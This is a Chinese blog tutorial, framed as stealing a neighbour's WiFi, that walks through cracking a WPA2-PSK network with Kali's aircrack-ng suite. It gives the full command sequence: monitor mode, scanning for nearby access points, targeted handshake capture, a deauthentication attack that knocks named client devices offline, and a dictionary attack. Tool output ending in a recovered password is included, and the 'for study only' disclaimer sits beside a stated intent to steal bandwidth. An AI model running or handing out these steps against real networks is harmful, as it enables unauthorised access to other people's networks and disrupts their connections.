本文章仅作为技术学习交流,请不要随意拿邻居开刀。

提前准备

你需要如下材料

  • 一个支持监听的无线网卡设备
  • 一个强大的WiFi字典
  • 一个有WiFi的地方

最近流量不够用了,想着偷个网试试,看了一下周边的WiFi布局。。

image.png

还是有一些WIFI设备的,然后开始尝试能不能搞一个来。

技术原理

WiFi认证

大家都知道WiFi大略是有四种支持格式的,

1、不启用安全

2、WEP

3、WPA/WPA2-PSK

4、WPA/WPA2 802.1X (radius认证)

一般我们设置的都是第三种。

WPA-PSK的认证过程

image.png

1、无线AP定期发送beacon数据包,使无线终端更新自己的无线网络列表。

2、无线终端在每个信道(1-13)广播ProbeRequest(非隐藏类型的WiFi含ESSID,隐藏类型的WiFi不含ESSID)

3、每个信道的AP回应,ProbeResponse,包含ESSID,及RSN信息

4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种,0为开放式、1为共享式(WPA/WPA2必须是开放式)

5、AP回应网卡AUTH包

6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包

8、EAPOL四次握手进行认证(握手包是破解的关键)

9、完成认证可以上网。

WPA-PSK认证四次握手认证的过程

image.png

WPA-PSK破解原理

用我们字典中的PSK+ssid先生成PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端MAC,AP的BSSID,A-NONCE,S-NONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。

如图所示:

image.png

所以还是爆破握手包的方式来获得密码,由于是通过暴力破解方式破解Wifi密码,所以你需要下载一些强大的字典,字典可以直接在Github上搜索,或者直接google。

开偷

启动网卡

我这里使用的是Kali,插入无线网卡的时候请选择和虚拟机相连。

ifconfig-a /此命令查看所有网络设备器
image.png

如果你的连接没有出错,此时应该会有一张名为wlan0的网卡设备。

接着使用命令,激活这张网卡,如果不回显则开启成功。

ifconfig wlan0 up

激活网卡为监听(monitor)模式

airmon-ng start wlan0
image.png

同时,你的无线网卡应该会有指示灯之类的亮起(看型号,是否启用成功还是看上图结果)

得到监控模式下的设备名是wlan0mon,请记住这个名字,后续有用。

探测周围无线网络

我现在连接的是我自己的手机热点,插入无线网卡后开始嗅探周围的WIFI设备。

airodump-ng wlan0mon

查看周边路由AP的信息。

个人经验一般信号强度大于-70的可以进行破解,大于-60就最好了,小于-70的不稳定,信号比较弱。(信号强度的绝对值越小表示信号越强)

image.png

这里我们将会对 游走老火锅 这个WiFi进行攻击,所以我们需要记录下对应的 BSSID 以及 CH ,这两个值分别是WiFi唯一标识和信道。 建议选择 PWR 较小的WiFi,因为这意味着信号较好。

如果要弄懂这些参数都是什么,我贴两张网上的图:
image.png

image.png
image.png

选择要破解的WiFi,有针对性的进行抓握手包

airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E

其中的 -c 参数代表了信道号, --bssid 代表此WiFi的唯一标识。

执行后等待一会,输出结果如下:

fundamental     CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41

      BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

      14:75:90:9E:29:8E  -37   1       89     4294  299  11  270   WPA2 CCMP   PSK  203

      BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

      14:75:90:9E:29:8E  48:7D:2E:B3:04:DF  -29    0 - 1e     0        7
      14:75:90:9E:29:8E  E0:DC:FF:DC:5A:89  -40    0 - 0e   817     4259
      14:75:90:9E:29:8E  80:ED:2C:10:0D:8A  -63    0 -24      0        2
      14:75:90:9E:29:8E  FA:83:C4:C0:8F:DF  -60    0e-24     88       88

从这个输出结果我们可以分析到的数据:

  • 当前连接此WiFi的设备有4台,以及每台设备的唯一标识,发包数等。 下面的四行也就代表了四台设备,我们需要记录 Lost 有变化的设备标识,这里我们选择标识为 E0:DC:FF:DC:5A:89 的设备。

好的,目前我们掌握了几条有用的信息,如下:

WiFi唯一标识14:75:90:9E:29:8E

连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89

WiFi的信道11

监听握手包

下面我们需要根据以上信息进行抓包,尝试拿到包含密钥的握手包。

airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203

参数说明:-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名),也可以用其他工具抓包比如:wireshark、tcpdump,抓到握手包会有提示。

airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**

PS:我建议使用这条作为监听,–ivs 这里的设置是通过过滤,不再将所有的无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听,不过滤请求的话会有很多额外的请求,后续的图我将以这条语句作为演示。

监听的时候如果有设备登录成功就会抓到握手包,那么此时客户端不一定有会有登录的包发送给服务端,怎么样去抓到这个带有认证请求的包呢,很简单,强行使客户端断开即可。

执行断网攻击获得握手包

下面我们需要利用 Aireplay-ng 进行断网攻击,当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。

aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89 

这里的 -0 代表攻击次数,后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。

此命令的输出结果如下:

fundamental     23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
     23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
     23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
     23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
     23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
     23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
     23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
     23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
     23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
     23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
     23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]

如果这种方式多次失败,可以尝试去掉 -c 参数,进行范围打击,对每个设备都进行攻击,这样拿到加密包的机率也会有提升。

airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包,也就不需要断网攻击了。

image.png

我实践中使用是把整个客户端打掉线让他们重连的。

image.png

当这边的shell提示WPA handshake就说明获取到握手包了,可以停止了。

CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E

字典破解

下面我们通过准备的字典以及拿到的握手包进行暴力破解。

执行如下命令进行破解

aircrack-ng -w common.txt 203.ivs

-w 是我们的字典, 203-01.cap 是我们拿到的密钥握手包。

我这个运气不错,密码相对简单。

image.png

KEY FOUND! [ 99998888 ]即是密码。

image.png

最后

请善待你的邻居,不要随意拿邻居开刀。